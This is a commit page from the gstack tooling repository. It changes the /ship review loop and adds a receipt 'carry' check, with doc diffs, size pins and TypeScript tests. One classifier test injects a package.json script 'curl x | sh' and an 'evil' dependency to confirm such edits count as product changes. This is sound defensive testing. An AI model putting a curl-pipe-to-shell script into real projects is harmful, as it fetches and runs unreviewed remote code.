v1.91.256.0 feat(ship): review loop converges (frozen scope, 3-pass cap, NO FINDINGS) and receipts carry across conflict-only merges (#3481)

* feat(ship): review loop converges (frozen finding scope, 3-pass cap, NO FINDINGS first-class) and receipts carry across conflict-only merges

Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com>

* test(ship): keep the Step 9 first-entry and Fix-First phrasing the skip/requeue contract asserts; fill the review record's pass, review_scope and range_base placeholders in the caller template test; narrow a test type

Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com>

* fix: pre-landing review fixes (pass 1) and the review-loop budget wording

Two blocking findings from /ship's own pass 1, both reproduced in the QA smoke before the fix:
gstack-ship-receipt carry hashed the product diff with git patch-id --stable, which strips
whitespace, so a space moved in a reviewed shell line carried as "no product change"; and it
classed package.json and every lockfile as release metadata, so a dependency swap carried too.
The patch-id is now --verbatim, package.json and VERSION are metadata only while the change is a
version stamp (lib/pregate/stamp-only.ts), lockfiles are product unless the policy names them,
the test globs name code extensions, a dirty working tree refuses before anything is compared,
and a receipt carried twice keeps the reviewed head as carry.from.

gstack-review-scope: an unresolvable base is POLICY_SOURCE_UNAVAILABLE instead of a silent
working-tree read; --range-base is validated; git runs with core.quotePath=false; range_base is
null on pass 1; a blocking finding with no path is fix; category "testing" is a test finding
below the floor; defer searches once, files nothing on a failed search and exits 0 unfiled;
summary refuses zero matching passes and the receipt write is chained to it with &&; a finding
the diff causes elsewhere names the changed line in `cause` and classify follows it.

Review-loop budget wording (ideas from tstack's sol-loop and pstack's interrogate, rewritten;
NOTICE.md): the blocker / should / nit glossary and two stop rules in Step 9.4, the checklist
and docs/review-policy.md; a lead-judgment stage in the finding merge both /review and /ship
render. The core read diffs $RANGE_BASE from pass 2 on. Caps and pins re-measured with reasons.

Step 7 coverage audit: four tests added in existing files, the --review-loop case moved to its
own test (the shared test tripped bun's 5 s default).

Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com>

* fix: pin the renumbered review-army stages and point the wording test at product code

CI at c3e27fc failed three free-tier tests, all this branch's own: the
workflow-required-steps fixture and shared-libs-rendering still pinned the
pre-Lead-judgment stage numbers, and test-of-test-ratchet counted
review-loop-budget-wording.test.ts as test-only code because it read only
generated markdown. The fixture and rendering test now pin stages 1-8, and the
wording test renders both armies through generateReviewArmy and reads the
authored ship template as well as the generated sections.

Pass-2 maintainability notes folded in: docs/troubleshooting.md names the two
new RECEIPT_CARRY_REFUSED causes (dirty tree, unreadable status) and the two new
REVIEW_SCOPE_INPUT causes (non-hex --range-base, summary with no matching
pass); gstack-review-scope's help states that classify reads the base branch's
policy and refuses an unresolvable base unless --policy is passed.

Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com>

* fix: date a review-log row from its binding start when it has no timestamp

The Step 9.4 template asks the writer to fill `timestamp`; the logger stamps
`review_binding.started_at` but never `timestamp`. `gstack-review-scope
summary` dropped such a row silently, so this PR's own pass 2 was missing from
REVIEW_LOOP (passes=1 for a two-pass loop). A row now dates from `timestamp`,
else from its binding start; a row with neither is still not counted.

Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com>

* fix: pass-4 review fixes (carry stamp rule, deleted-file locus, scanned defer, diff prefixes, row time)

Five findings at the blocking floor from the Step 11 outside voice (gpt-6.1-sol)
and the native adversarial pass, fixed as a fourth pass approved by GStack
Minder under the three-pass policy:

- carry: a path the policy names under stamp_files, stamp_paths or
  release_outputs is metadata only while its change is a stamp (versionStampOnly
  for a manifest kind, stampOnlyText otherwise), the rule the tree receipt
  applies; a logic change in a stamped source file is product. Every
  metadata-listed path is read at both heads and a non-stamp change drops its
  globs from the product exclusion.
- review-scope: parseHunks keeps a deleted file as a whole changed location, so
  a cause anchored in a removed export is the diff's to fix, not deferred.
- defer: issues are filed through lib/gstack-post's publication scan; a HIGH
  finding in the title or body refuses and a MEDIUM one needs a human, both
  recorded as unfiled with the reason; --repo names the destination.
- classify: both diffs pin --src-prefix=a/ --dst-prefix=b/ --no-textconv, so
  diff.mnemonicPrefix cannot send every finding outside.
- summary: a row dates from review_binding.started_at before the writer-typed
  timestamp, so a date-only value cannot drop a real pass.

Docs: ship-policy.md#receipt-carry, review-policy.md, the Step 9.4 template
and the CHANGELOG gate-integrity note record the rule and the pass.

Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com>

* test(review-army): assert the Red Team branch the run took in the N+1 case

Under the blocking floor the Performance specialist rates a 12-line N+1
INFORMATIONAL, so the conditional Red Team does not activate; the case
encoded the old severity (N+1 is CRITICAL, a Red Team always follows). It
now asserts the branch the run took: a Red Team that ran must follow the
Performance specialist; no Red Team is correct only when the report's own
count says 0 critical and its Red Team line names that reason. The N+1
detection assertion is unchanged. The free contract test gains the
informational-not-activated and informational-claimed controls and the
budget test's synthetic report carries the count line.

Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com>

* v1.91.256.0 stamp

Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com>

---------

Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com>
This commit is contained in:
Garry Tanandcapy-ai[bot] authored and GitHub committed 2026-10-26 20:48:01 +00:00
1 parent b004c06dbc
commit 576839cb8c
48 files changed
+2638 -186

No files matched your search

+18 -2
View File
@@ -423,7 +423,8 @@ tests without asking again. Step 15 commits those tests.
**Route:** integrate (1–3) → test and review (4–11.5) → prepare the release
(12–15) → verify frozen content (16) → push and publish (17–21).
Every new invocation repeats Steps 1–16, including both reviews and the docs audit.
Every new invocation repeats Steps 1–16, including both reviews and the docs audit,
unless Step 1's carry check binds an earlier receipt to HEAD.
Steps 12, 17 and 19 prevent duplicate bumps, pushes and PRs, never verification.
### Keep state between steps
@@ -446,6 +447,13 @@ token; `--finish` stamps the binding fields automatically. Never borrow or repla
`gstack-wtree` prints a Git tree hash covering tracked and non-ignored untracked files,
not a commit ID. Use `git diff <old-tree> <new-tree>` to compare these snapshots.
**Review policy** (docs/review-policy.md): a finding blocks another review pass
only when it would fail a test, break production, or lose data or secrets;
everything below that floor ships as a named note in the PR body. Pass 1 reviews
the diff; later passes read only the range since the previous pass; three passes
is the cap. `NO FINDINGS` is a complete reviewer result. The ship receipt's
`review_loop` counters record the outcome; `ship: review_scope` (Step 3) is the knob.
### Ship control flow
You, the **parent** running /ship, own advancement; children return evidence, not
@@ -564,7 +572,15 @@ repository-landing asks, including on Apple repos.
`git diff origin/<base> --stat`, untracked files from status, and
`git log origin/<base>..HEAD --oneline`.
4. Display historical readiness using the dashboard below, then finish Step 1.
4. **Carry check.** If `gh pr list --head <branch-name> --state open --json number`
names a PR, run `~/.gemini/antigravity-cli/skills/gstack/bin/gstack-ship-receipt carry --pr <n> --base <base>`.
`CARRY: carried` means the product diff against `origin/<base>` has the same
patch-id as the reviewed head's (only a base merge, tests or release metadata
changed; the receipt's `carry` object holds the range-diff evidence): the receipt
now binds HEAD and the run is complete at its `GSTACK_RESULT` line, so stop.
`CARRY: refused` or `current` continues; a product change always re-runs Steps 2–16.
5. Display historical readiness using the dashboard below, then finish Step 1.
Prior CLEAR reviews or dashboard skips never replace Step 9's gates.
## Review Readiness Dashboard
+18 -2
View File
@@ -428,7 +428,8 @@ tests without asking again. Step 15 commits those tests.
**Route:** integrate (1–3) → test and review (4–11.5) → prepare the release
(12–15) → verify frozen content (16) → push and publish (17–21).
Every new invocation repeats Steps 1–16, including both reviews and the docs audit.
Every new invocation repeats Steps 1–16, including both reviews and the docs audit,
unless Step 1's carry check binds an earlier receipt to HEAD.
Steps 12, 17 and 19 prevent duplicate bumps, pushes and PRs, never verification.
### Keep state between steps
@@ -451,6 +452,13 @@ token; `--finish` stamps the binding fields automatically. Never borrow or repla
`gstack-wtree` prints a Git tree hash covering tracked and non-ignored untracked files,
not a commit ID. Use `git diff <old-tree> <new-tree>` to compare these snapshots.
**Review policy** (docs/review-policy.md): a finding blocks another review pass
only when it would fail a test, break production, or lose data or secrets;
everything below that floor ships as a named note in the PR body. Pass 1 reviews
the diff; later passes read only the range since the previous pass; three passes
is the cap. `NO FINDINGS` is a complete reviewer result. The ship receipt's
`review_loop` counters record the outcome; `ship: review_scope` (Step 3) is the knob.
### Ship control flow
You, the **parent** running /ship, own advancement; children return evidence, not
@@ -569,7 +577,15 @@ repository-landing asks, including on Apple repos.
`git diff origin/<base> --stat`, untracked files from status, and
`git log origin/<base>..HEAD --oneline`.
4. Display historical readiness using the dashboard below, then finish Step 1.
4. **Carry check.** If `gh pr list --head <branch-name> --state open --json number`
names a PR, run `~/.claude/skills/gstack/bin/gstack-ship-receipt carry --pr <n> --base <base>`.
`CARRY: carried` means the product diff against `origin/<base>` has the same
patch-id as the reviewed head's (only a base merge, tests or release metadata
changed; the receipt's `carry` object holds the range-diff evidence): the receipt
now binds HEAD and the run is complete at its `GSTACK_RESULT` line, so stop.
`CARRY: refused` or `current` continues; a product change always re-runs Steps 2–16.
5. Display historical readiness using the dashboard below, then finish Step 1.
Prior CLEAR reviews or dashboard skips never replace Step 9's gates.
## Review Readiness Dashboard
+18 -2
View File
@@ -443,7 +443,8 @@ tests without asking again. Step 15 commits those tests.
**Route:** integrate (1–3) → test and review (4–11.5) → prepare the release
(12–15) → verify frozen content (16) → push and publish (17–21).
Every new invocation repeats Steps 1–16, including both reviews and the docs audit.
Every new invocation repeats Steps 1–16, including both reviews and the docs audit,
unless Step 1's carry check binds an earlier receipt to HEAD.
Steps 12, 17 and 19 prevent duplicate bumps, pushes and PRs, never verification.
### Keep state between steps
@@ -466,6 +467,13 @@ token; `--finish` stamps the binding fields automatically. Never borrow or repla
`gstack-wtree` prints a Git tree hash covering tracked and non-ignored untracked files,
not a commit ID. Use `git diff <old-tree> <new-tree>` to compare these snapshots.
**Review policy** (docs/review-policy.md): a finding blocks another review pass
only when it would fail a test, break production, or lose data or secrets;
everything below that floor ships as a named note in the PR body. Pass 1 reviews
the diff; later passes read only the range since the previous pass; three passes
is the cap. `NO FINDINGS` is a complete reviewer result. The ship receipt's
`review_loop` counters record the outcome; `ship: review_scope` (Step 3) is the knob.
### Ship control flow
You, the **parent** running /ship, own advancement; children return evidence, not
@@ -584,7 +592,15 @@ repository-landing asks, including on Apple repos.
`git diff origin/<base> --stat`, untracked files from status, and
`git log origin/<base>..HEAD --oneline`.
4. Display historical readiness using the dashboard below, then finish Step 1.
4. **Carry check.** If `gh pr list --head <branch-name> --state open --json number`
names a PR, run `$GSTACK_ROOT/bin/gstack-ship-receipt carry --pr <n> --base <base>`.
`CARRY: carried` means the product diff against `origin/<base>` has the same
patch-id as the reviewed head's (only a base merge, tests or release metadata
changed; the receipt's `carry` object holds the range-diff evidence): the receipt
now binds HEAD and the run is complete at its `GSTACK_RESULT` line, so stop.
`CARRY: refused` or `current` continues; a product change always re-runs Steps 2–16.
5. Display historical readiness using the dashboard below, then finish Step 1.
Prior CLEAR reviews or dashboard skips never replace Step 9's gates.
## Review Readiness Dashboard
+18 -2
View File
@@ -424,7 +424,8 @@ tests without asking again. Step 15 commits those tests.
**Route:** integrate (1–3) → test and review (4–11.5) → prepare the release
(12–15) → verify frozen content (16) → push and publish (17–21).
Every new invocation repeats Steps 1–16, including both reviews and the docs audit.
Every new invocation repeats Steps 1–16, including both reviews and the docs audit,
unless Step 1's carry check binds an earlier receipt to HEAD.
Steps 12, 17 and 19 prevent duplicate bumps, pushes and PRs, never verification.
### Keep state between steps
@@ -447,6 +448,13 @@ token; `--finish` stamps the binding fields automatically. Never borrow or repla
`gstack-wtree` prints a Git tree hash covering tracked and non-ignored untracked files,
not a commit ID. Use `git diff <old-tree> <new-tree>` to compare these snapshots.
**Review policy** (docs/review-policy.md): a finding blocks another review pass
only when it would fail a test, break production, or lose data or secrets;
everything below that floor ships as a named note in the PR body. Pass 1 reviews
the diff; later passes read only the range since the previous pass; three passes
is the cap. `NO FINDINGS` is a complete reviewer result. The ship receipt's
`review_loop` counters record the outcome; `ship: review_scope` (Step 3) is the knob.
### Ship control flow
You, the **parent** running /ship, own advancement; children return evidence, not
@@ -565,7 +573,15 @@ repository-landing asks, including on Apple repos.
`git diff origin/<base> --stat`, untracked files from status, and
`git log origin/<base>..HEAD --oneline`.
4. Display historical readiness using the dashboard below, then finish Step 1.
4. **Carry check.** If `gh pr list --head <branch-name> --state open --json number`
names a PR, run `$GSTACK_ROOT/bin/gstack-ship-receipt carry --pr <n> --base <base>`.
`CARRY: carried` means the product diff against `origin/<base>` has the same
patch-id as the reviewed head's (only a base merge, tests or release metadata
changed; the receipt's `carry` object holds the range-diff evidence): the receipt
now binds HEAD and the run is complete at its `GSTACK_RESULT` line, so stop.
`CARRY: refused` or `current` continues; a product change always re-runs Steps 2–16.
5. Display historical readiness using the dashboard below, then finish Step 1.
Prior CLEAR reviews or dashboard skips never replace Step 9's gates.
## Review Readiness Dashboard
+8 -8
View File
@@ -9,7 +9,7 @@
"agy/gstack-plan-design-review": 139981,
"agy/gstack-plan-devex-review": 135728,
"agy/gstack-plan-eng-review": 152574,
"agy/gstack-review": 124150,
"agy/gstack-review": 124400,
"claude/design-review": 136499,
"codex/gstack-autoplan": 130596,
"codex/gstack-design-consultation": 109420,
@@ -19,7 +19,7 @@
"codex/gstack-plan-design-review": 142434,
"codex/gstack-plan-devex-review": 138617,
"codex/gstack-plan-eng-review": 155120,
"codex/gstack-review": 125054,
"codex/gstack-review": 125304,
"copilot/gstack-autoplan": 131605,
"copilot/gstack-codex": 100203,
"copilot/gstack-design-consultation": 109504,
@@ -29,7 +29,7 @@
"copilot/gstack-plan-design-review": 140852,
"copilot/gstack-plan-devex-review": 136880,
"copilot/gstack-plan-eng-review": 153299,
"copilot/gstack-review": 125421,
"copilot/gstack-review": 125671,
"cursor/gstack-autoplan": 129246,
"cursor/gstack-design-consultation": 107190,
"cursor/gstack-design-review": 142475,
@@ -37,7 +37,7 @@
"cursor/gstack-plan-design-review": 138936,
"cursor/gstack-plan-devex-review": 134559,
"cursor/gstack-plan-eng-review": 151428,
"cursor/gstack-review": 140682,
"cursor/gstack-review": 142320,
"factory/gstack-autoplan": 131530,
"factory/gstack-codex": 100623,
"factory/gstack-design-consultation": 108638,
@@ -47,7 +47,7 @@
"factory/gstack-plan-design-review": 141717,
"factory/gstack-plan-devex-review": 137928,
"factory/gstack-plan-eng-review": 154542,
"factory/gstack-review": 144461,
"factory/gstack-review": 146099,
"gbrain/gstack-autoplan": 129783,
"gbrain/gstack-design-review": 132810,
"gbrain/gstack-land-and-deploy": 117135,
@@ -67,7 +67,7 @@
"kiro/gstack-plan-design-review": 138776,
"kiro/gstack-plan-devex-review": 134399,
"kiro/gstack-plan-eng-review": 151278,
"kiro/gstack-review": 140494,
"kiro/gstack-review": 142132,
"openclaw/gstack-autoplan": 129488,
"openclaw/gstack-design-review": 131615,
"openclaw/gstack-land-and-deploy": 116725,
@@ -82,7 +82,7 @@
"opencode/gstack-plan-design-review": 140706,
"opencode/gstack-plan-devex-review": 136780,
"opencode/gstack-plan-eng-review": 153180,
"opencode/gstack-review": 142917,
"opencode/gstack-review": 144555,
"slate/gstack-autoplan": 129127,
"slate/gstack-design-consultation": 107111,
"slate/gstack-design-review": 142382,
@@ -90,6 +90,6 @@
"slate/gstack-plan-design-review": 138856,
"slate/gstack-plan-devex-review": 134479,
"slate/gstack-plan-eng-review": 151353,
"slate/gstack-review": 140588
"slate/gstack-review": 142226
}
}
+10 -8
View File
@@ -91,10 +91,11 @@
"#### 1. Parse outputs",
"#### 2. Validate severity",
"#### 3. Identify and merge",
"#### 4. Apply specialist confidence gates",
"#### 5. Score and present specialists",
"#### 6. Save specialist activity",
"#### 7. Hand off to Fix-First"
"#### 4. Lead judgment",
"#### 5. Apply specialist confidence gates",
"#### 6. Score and present specialists",
"#### 7. Save specialist activity",
"#### 8. Hand off to Fix-First"
]
},
"ship": {
@@ -148,10 +149,11 @@
"#### 1. Parse outputs",
"#### 2. Validate severity",
"#### 3. Identify and merge",
"#### 4. Apply specialist confidence gates",
"#### 5. Score and present specialists",
"#### 6. Save specialist activity",
"#### 7. Hand off to Fix-First",
"#### 4. Lead judgment",
"#### 5. Apply specialist confidence gates",
"#### 6. Score and present specialists",
"#### 7. Save specialist activity",
"#### 8. Hand off to Fix-First",
"### Step 9.2.1: Exploratory QA (before Fix-First)",
"### Step 9.3: Cross-review finding dedup",
"## Step 9.4: Fix-First and persistence"
+6 -1
View File
@@ -30,6 +30,11 @@ describe('validatePolicy (schema + containment, pure)', () => {
expect(codes({ history: 'rebase' })).toEqual(['POLICY_INVALID:history']);
expect(codes({ release_tool: 42 })).toEqual(['POLICY_INVALID:release_tool']);
expect(codes({ pr_count: { default_pr_count: 0, split_requires_owner: 'yes' } })).toEqual(['POLICY_INVALID:pr_count.default_pr_count', 'POLICY_INVALID:pr_count.split_requires_owner']);
expect(codes({ review_scope: 'loose' })).toEqual(['POLICY_INVALID:review_scope', 'POLICY_INVALID:review_scope']);
expect(codes({ review_scope: 'all' })).toEqual(['POLICY_INVALID:review_scope']);
expect(codes({ review_scope: 'all', min_gstack_version: '1.91.249.0' })).toEqual([]);
expect(codes({ review_scope: 'diff-plus-blocking', min_gstack_version: '1.91.249.0' })).toEqual([]);
expect(codes({ review_scope: 'frozen' })).toEqual([]);
expect(codes([])).toEqual(['POLICY_INVALID:']);
});
@@ -110,7 +115,7 @@ describe('gstack-ship-policy (bin)', () => {
expect(r.out).not.toMatch(/^ship: history/m);
const strict = fixture({ policy: { ...BASE_POLICY, history: 'merge-only', queue_mode: 'claim-at-open', bump: 'ask', release_tool: null, preregistration_shas: ['0123456789abcdef0123456789abcdef01234567'] } });
const lines = runBin(strict, 'gstack-ship-policy', ['show-effective', '--base', 'main']).out.split('\n').filter(l => l.startsWith('ship: '));
expect(lines.map(l => l.split(':')[1]!.trim())).toEqual(['history merge-only', 'queue_mode claim-at-open', 'bump ask', 'preregistration']);
expect(lines.map(l => l.split(':')[1]!.trim())).toEqual(['history merge-only', 'queue_mode claim-at-open', 'bump ask', 'review_scope frozen', 'preregistration']);
const j = JSON.parse(runBin(repo, 'gstack-ship-policy', ['show-effective', '--base', 'main', '--json']).out);
expect(j.valid).toBe(true);
expect(j.source.kind).toBe('base');
+409 -1
View File
@@ -9,7 +9,7 @@ import * as fs from 'node:fs';
import * as os from 'node:os';
import * as path from 'node:path';
import { EXIT } from '../lib/headless-artifacts';
import { bindReceipt, computeCensus, extractReceipt, placeReceiptFirst, receiptSummaryLine, renderReceiptBlock } from '../lib/ship-receipt';
import { bindReceipt, classifyCarryPath, computeCensus, extractReceipt, parseReviewLoop, placeReceiptFirst, planCarry, receiptSummaryLine, renderReceiptBlock, stampOnlyText } from '../lib/ship-receipt';
import { cleanup, ghShim, makeFixtureRepo, makePr, recordAndBundle, restamp, runBin, type FixtureRepo } from './helpers/restamp-fixture';
const repos: FixtureRepo[] = [];
@@ -272,6 +272,414 @@ describe('gstack-ship-receipt result (/ship terminal line, GBRA-108)', () => {
});
});
describe('gstack-ship-receipt carry (harness lane E row 3: receipt follows a head whose product diff is unchanged)', () => {
// Value: protects=the carry rebinds only when the product patch-id against the base is identical (base merge, test-only fix,
// release metadata), records the evidence, and refuses a product change by name; fails_when=a product edit is carried, a
// rebased head is accepted, or the carried receipt loses its SHIP_RECEIPT identity; seam=none; no_claim=gh pr edit (the shim stands in)
test('carries across a conflict-only base merge and a test-only fix, records the carry, and ends with the terminal line; a product change is RECEIPT_CARRY_PRODUCT_CHANGED', () => {
const repo = fixture();
fs.mkdirSync(path.join(repo.work, 'src'), { recursive: true });
fs.mkdirSync(path.join(repo.work, 'test'), { recursive: true });
fs.writeFileSync(path.join(repo.work, 'src', 'app.ts'), 'export const a = 1;\n');
fs.writeFileSync(path.join(repo.work, 'src', 'other.ts'), 'export const o = 1;\n');
fs.writeFileSync(path.join(repo.work, 'test', 'app.test.ts'), 'test a\n');
repo.git('add', '.'); repo.git('commit', '-qm', 'seed app'); repo.git('push', '-q', 'origin', 'main');
repo.git('checkout', '-qb', 'feat');
fs.writeFileSync(path.join(repo.work, 'src', 'app.ts'), 'export const a = 2;\n');
repo.git('commit', '-qam', 'feat: a=2');
const reviewed = repo.git('rev-parse', 'HEAD');
// main moves on in another file; the branch merges it (conflict-only base merge).
repo.git('checkout', '-q', 'main');
fs.writeFileSync(path.join(repo.work, 'src', 'other.ts'), 'export const o = 2;\n');
repo.git('commit', '-qam', 'main: o=2'); repo.git('push', '-q', 'origin', 'main');
repo.git('checkout', '-q', 'feat');
repo.git('merge', '-q', '--no-edit', 'origin/main');
// then a test-only fix
fs.writeFileSync(path.join(repo.work, 'test', 'app.test.ts'), 'test a=2\n');
repo.git('commit', '-qam', 'test: fix expectation');
const head = repo.git('rev-parse', 'HEAD');
const state = path.join(repo.root, 'state');
const body = path.join(repo.root, 'body.md');
fs.writeFileSync(body, placeReceiptFirst('## Summary\n\nProse.\n', { schema_version: 1, pr: 5, head: reviewed, base: 'main', queue_mode: 'stamp-at-merge', review_loop: { passes: 2, blocking_found: 1, deferred: 1 } } as any));
const env = { GSTACK_STATE_ROOT: state, GSTACK_SESSION_KIND: 'unattended' };
const dry = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body, '--dry-run'], env);
expect(dry.status).toBe(EXIT.ok);
expect(dry.out.trim()).toBe(`CARRY: would carry from ${reviewed.slice(0, 12)} to ${head.slice(0, 12)} (base merge + test-only change); nothing written`);
expect(extractReceipt(fs.readFileSync(body, 'utf8')).receipt!.head).toBe(reviewed);
const carried = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body, '--out', path.join(repo.root, 'carry-run')], env);
expect(carried.status).toBe(EXIT.ok);
expect(carried.out.trim().split('\n')).toEqual([
`CARRY: carried from ${reviewed.slice(0, 12)} to ${head.slice(0, 12)} (base merge + test-only change)`,
`GSTACK_RESULT: skill=ship status=complete run=${path.join(repo.root, 'carry-run')}`,
]);
expect(carried.err.trim()).toBe(`SHIP_RECEIPT: pr=5 head=${head.slice(0, 12)} version=- base=main passes=2 blocking_found=1 deferred=1 carried_from=${reviewed.slice(0, 12)}`);
const after = extractReceipt(fs.readFileSync(body, 'utf8'));
expect(after.errors).toEqual([]);
expect(after.receipt).toMatchObject({ pr: 5, head, base: 'main', review_loop: { passes: 2 } });
expect(after.receipt!.carry).toMatchObject({ from: reviewed, reason: 'base merge + test-only change', merge_commits: 1, covers: ['pre-landing review', 'adversarial review', 'gate integrity', 'documentation audit'] });
expect(after.receipt!.carry!.product_patch_id).toMatch(/^[0-9a-f]{40}$/);
expect(after.receipt!.carry!.changed_paths.sort()).toEqual(['product:src/other.ts', 'test:test/app.test.ts']);
expect(after.receipt!.carry!.range_diff).not.toMatch(/^unavailable/);
expect(fs.readFileSync(body, 'utf8')).toContain('\n## Summary\n\nProse.\n');
const run = JSON.parse(fs.readFileSync(path.join(repo.root, 'carry-run', 'ship-run.json'), 'utf8'));
expect(run).toMatchObject({ skill: 'ship', status: 'complete', head, pr: 5, carried_from: reviewed, carry_reason: 'base merge + test-only change' });
expect(bindReceipt(fs.readFileSync(body, 'utf8'), '5', [head]).ok).toBe(true);
// already current
const current = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body], env);
expect([current.status, current.out.trim()]).toEqual([EXIT.ok, `CARRY: current (the receipt already names ${head.slice(0, 12)})`]);
// a product change does not carry, and the body keeps the receipt it had
fs.writeFileSync(path.join(repo.work, 'src', 'app.ts'), 'export const a = 3;\n');
repo.git('commit', '-qam', 'feat: a=3');
const changed = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body], env);
expect(changed.status).toBe(EXIT.refused);
expect(changed.out.trim()).toBe('CARRY: refused (RECEIPT_CARRY_PRODUCT_CHANGED)\nGSTACK_RESULT: skill=ship status=refused run=-');
expect(changed.err).toContain(`product diff changed between ${head.slice(0, 12)} and ${repo.git('rev-parse', 'HEAD').slice(0, 12)}: src/app.ts`);
expect(changed.err).toContain('(RECEIPT_CARRY_PRODUCT_CHANGED; https://github.com/garrytan/gstack/blob/main/docs/troubleshooting.md#receipt-carry-product-changed)');
expect(extractReceipt(fs.readFileSync(body, 'utf8')).receipt!.head).toBe(head);
});
test('a rebased head (receipt head not an ancestor), a body without a receipt and another PR\'s receipt are refused; through gh the body is posted with gh pr edit', () => {
const repo = fixture();
fs.writeFileSync(path.join(repo.work, 'a.txt'), 'a\n');
repo.git('add', '.'); repo.git('commit', '-qm', 'seed'); repo.git('push', '-q', 'origin', 'main');
repo.git('checkout', '-qb', 'feat');
fs.writeFileSync(path.join(repo.work, 'a.txt'), 'b\n');
repo.git('commit', '-qam', 'feat');
const reviewed = repo.git('rev-parse', 'HEAD');
const env = { GSTACK_STATE_ROOT: path.join(repo.root, 'state') };
const foreign = path.join(repo.root, 'foreign.md');
fs.writeFileSync(foreign, placeReceiptFirst('x\n', { schema_version: 1, pr: 5, head: 'c'.repeat(40), base: 'main' } as any));
repo.git('commit', '-q', '--allow-empty', '-m', 'empty follow-up');
const notAncestor = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', foreign], env);
expect(notAncestor.status).toBe(EXIT.refused);
expect(notAncestor.err).toContain('is not an ancestor of HEAD');
expect(notAncestor.err).toContain('(RECEIPT_CARRY_REFUSED;');
const none = path.join(repo.root, 'none.md');
fs.writeFileSync(none, 'No receipt.\n');
expect(runBin(repo, 'gstack-ship-receipt', ['carry', '--body', none], env).err).toContain('(QUEUE_RECEIPT_MISSING;');
expect(runBin(repo, 'gstack-ship-receipt', ['carry'], env).status).toBe(EXIT.usage);
expect(runBin(repo, 'gstack-ship-receipt', ['carry', '--pr', '5', '--body', none], env).status).toBe(EXIT.usage);
// through gh: the shim records the edit
const head = repo.git('rev-parse', 'HEAD');
const shimDir = path.join(repo.root, 'gh2');
fs.mkdirSync(shimDir);
const posted = path.join(shimDir, 'posted.md');
const prBody = placeReceiptFirst('## Summary\n\nProse.\n', { schema_version: 1, pr: 8, head: reviewed, base: 'main' } as any);
fs.writeFileSync(path.join(shimDir, 'pr.json'), JSON.stringify({ body: prBody, headRefOid: head }));
fs.writeFileSync(path.join(shimDir, 'gh'), [
'#!/bin/sh',
`if [ "$1" = pr ] && [ "$2" = view ]; then cat "${path.join(shimDir, 'pr.json')}"; exit 0; fi`,
`if [ "$1" = pr ] && [ "$2" = edit ]; then shift 3; [ "$1" = --body-file ] || exit 9; cp "$2" "${posted}"; exit 0; fi`,
'echo "unsupported $*" >&2; exit 1', '',
].join('\n'), { mode: 0o755 });
const viaGh = runBin(repo, 'gstack-ship-receipt', ['carry', '--pr', '8', '--out', path.join(repo.root, 'run')], { ...env, PATH: `${shimDir}:${process.env.PATH}` });
expect(viaGh.status).toBe(EXIT.ok);
expect(viaGh.out).toContain(`CARRY: carried from ${reviewed.slice(0, 12)} to ${head.slice(0, 12)} (no content change)`);
const postedReceipt = extractReceipt(fs.readFileSync(posted, 'utf8'));
expect(postedReceipt.receipt).toMatchObject({ pr: 8, head, carry: { from: reviewed, reason: 'no content change', merge_commits: 0 } });
expect(fs.readFileSync(posted, 'utf8')).toContain('## Summary\n\nProse.\n');
const other = runBin(repo, 'gstack-ship-receipt', ['carry', '--pr', '9'], { ...env, PATH: `${shimDir}:${process.env.PATH}` });
expect(other.status).toBe(EXIT.refused);
expect(other.err).toContain('the receipt names pr=8, not this PR');
});
// Generated by /ship Step 7 (coverage audit of the harness lane E diff).
// Value: protects=a release-metadata-only change (VERSION, CHANGELOG, lockfile, the policy's stamp_paths and release_outputs)
// carries with reason "release metadata" and every path classed metadata, so a stamp never sends a Captain back through a full
// /ship; fails_when=the metadata globs or the policy-derived extras stop excluding those paths from the product patch-id, or
// classifyCarryPath/planCarry mislabel them; why_new=the existing carry tests cover base merges and test-only fixes, never the
// metadata class or the policy extras; seam=none; no_claim=none beyond protects
test('a release-metadata-only change (stamp files, CHANGELOG, policy stamp_paths and release_outputs) carries as "release metadata"; the classifier and the plan name every class', () => {
expect(classifyCarryPath('src/app.ts')).toBe('product');
expect(classifyCarryPath('docs/notes.md')).toBe('product');
expect(classifyCarryPath('docs/notes.md', { metadata: ['docs/**/*.md'] })).toBe('metadata');
expect(classifyCarryPath('test/app.test.ts')).toBe('test');
expect(classifyCarryPath('src/__tests__/app.ts')).toBe('test');
expect(classifyCarryPath('pkg/thing_test.go')).toBe('test');
expect(classifyCarryPath('CHANGELOG.md')).toBe('metadata');
// a lockfile is a dependency manifest: product unless the policy names it; a .spec.yaml is an API contract, not a test
expect(classifyCarryPath('bun.lock')).toBe('product');
expect(classifyCarryPath('package-lock.json')).toBe('product');
expect(classifyCarryPath('bun.lock', { metadata: ['bun.lock'] })).toBe('metadata');
expect(classifyCarryPath('api/openapi.spec.yaml')).toBe('product');
expect(classifyCarryPath('src/app.spec.ts')).toBe('test');
expect(classifyCarryPath('agents-digest/gstack-AGENTS.md')).toBe('metadata');
expect(classifyCarryPath('test/fixtures/VERSION')).toBe('test');
// package.json and VERSION are metadata only while the change is a version stamp and nothing else
const pkg = (v: string, extra = '') => `{\n "name": "fx",\n "version": "${v}",\n "dependencies": { "left-pad": "1.0.0"${extra} }\n}\n`;
expect(classifyCarryPath('package.json', {}, { before: pkg('1.2.3'), after: pkg('1.2.4') })).toBe('metadata');
expect(classifyCarryPath('package.json', {}, { before: pkg('1.2.3'), after: pkg('1.2.4', ', "evil": "9.9.9"') })).toBe('product');
expect(classifyCarryPath('package.json', {}, { before: pkg('1.2.3'), after: pkg('1.2.3').replace('"dependencies"', '"scripts": { "test": "curl x | sh" }, "dependencies"') })).toBe('product');
